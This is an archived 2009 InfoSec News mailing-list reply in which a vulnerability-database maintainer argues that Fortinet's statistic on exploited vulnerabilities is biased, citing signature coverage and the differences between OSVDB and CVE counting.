RE: [ISN] Majority of vulnerabilities now being exploited

Forwarded from: security curmudgeon <jericho (at) attrition.org>

To: John E. Dunn <johnd (at) techworld.com>
Cc: InfoSec News
Subject: RE: [ISN] Majority of vulnerabilities now being exploited


Hi John,

Thanks for the prompt reply!

: The points your raise are valid and statistics can be highly 
: misleading. But delving deep into the complexity of this doesn't 
: necessarily lead you to the correct conclusion either.

I don't think any security outfit operating today can reach the 
*correct* conclusion to this.

: And are you saying that the evidence does not support the conclusion 
: or that the conclusion is flat wrong?

I'm saying their heavily biased evidence supports their heavily biased 
conclusion.

If you put a bottle to my head and made me drink and answer, I would 
guess that statistically the amount of vulnerabilities being exploited 
(compared to disclosed) is *lower*, not higher. I cannot back this with 
any hard evidence, just my experience working on OSVDB.org and actually 
seeing the number of vulnerabilities reported every single day, along 
with my experience in security consulting, working for a vendor who 
writes vulnerability signatures and running a server or two.

: That Fortinet have 'hand picked' the vulnerabilities does not 
: invalidate the fact that while more vulnerabilities are being 
: uncovered, an expanding subset of these are having exploits written 
: for them. This shows across all vendor stats.

Cite the other 'vendor stats' in this context? I'd bet a few dollars 
that they are equally as biased (regardless of intention to be so) as 
Fortinet, or likely do not fully qualify how they derive their stats.

No vendor releases signatures for their products to account for every 
single vulnerability disclosed. In turn, this makes it impossible to 
fully rely on any of them for this statistic without qualifying it 
first, which is all I want.

: The weakness of Fortinet's stats is that they are only one company's 
: snapshot on vulnerabilities, and therefore inferring from such data is 
: dubious. A more interesting stat that we cannot second-guess is how 
: many of these vulnerabilities lead to real compromises.

Bingo! The motive of the attacker and what they are trying to accomplish 
is a huge bias in these stats. As an example, if I watch the web server 
logs here, I may see a few hundred attempts at remote file inclusion 
(RFI) a day. They are 99% for exploits that have been disclosed in a 
public forum, and 1% for software that doesn't seem to have a public 
disclosure (the dreaded '0 day'). Out of those hundreds, they may try to 
exploit "DunnSoft index.php" when 9 additional scripts are vulnerable. 
Attackers can go after 1 and don't care if the other 9 scripts are 
there, it's about speed and low hanging fruit in that case. Now, do you 
say that 1 vulnerability was 'exploited' (per OSVDB abstraction, and 9 
were not, meaning 10%), or do you say that 1 vulnerability was 
'exploited' (per CVE abstraction, where the other 9 are a subset of the 
same CVE, meaning 100%)? A single example puts your margin of error at 
90%, simply because the numbers weren't explained.

I am a realist, I know that no one monitors all vulnerabilities 
disclosed, writes signaturs to detect them and reports on them. It is 
all about percentages. In this case, Fortinet is claiming 108 out of ~ 
700, which is a small sampling. Worse if you factor in my bias examples, 
more complex when you consider they don't abstract like OSVDB does, or 
write signatures for multiple vectors (which CVE abstracts for, but 
within a single entry). Knowing that, when a company releases 
statistics, they should at least fully explain what we're reading and 
qualify any number that goes into figuring that magic (and very precise) 
number (56.789%). Until companies want to strive for accuracy rather 
than good marketing fluff, I'd like journalists to step in and call them 
on it. Because if Fortinet can't outline every statistic or potential 
bias I have brought up in my last mail and this one, then they have no 
business writing these reports and they certainly shouldn't be reprinted 
as 'news' without the qualifications.

: - On 28-May-2009, they released "HTTP.URI.SQL.Injection ( high )" that 
:   says "This indicates an attempt to exploit an SQL injection 
:   vulnerability through HTTP requests." This may be inclusive to 
:   hundreds of SQLi vulnerabilities that are exploited and map to 
:   hundreds of CVE entries.

For kicks, consider that in the time frame of this report, I see around 
150 SQL injection exploits disclosed. I believe most of them are GET 
based attacks, making the above fingerprint a show-stopper on meaningful 
statistic generation, as that is almost 150% of their base vulnerability 
signature count.

- security curmudgeon


_______________________________________________      
Attend Black Hat USA, July 25-30 in Las Vegas, 
the world's premier technical event for ICT security experts.
Network with 4,000+ delegates from 50 nations.  
Visit product displays by 30 top sponsors in 
a relaxed setting. http://www.blackhat.com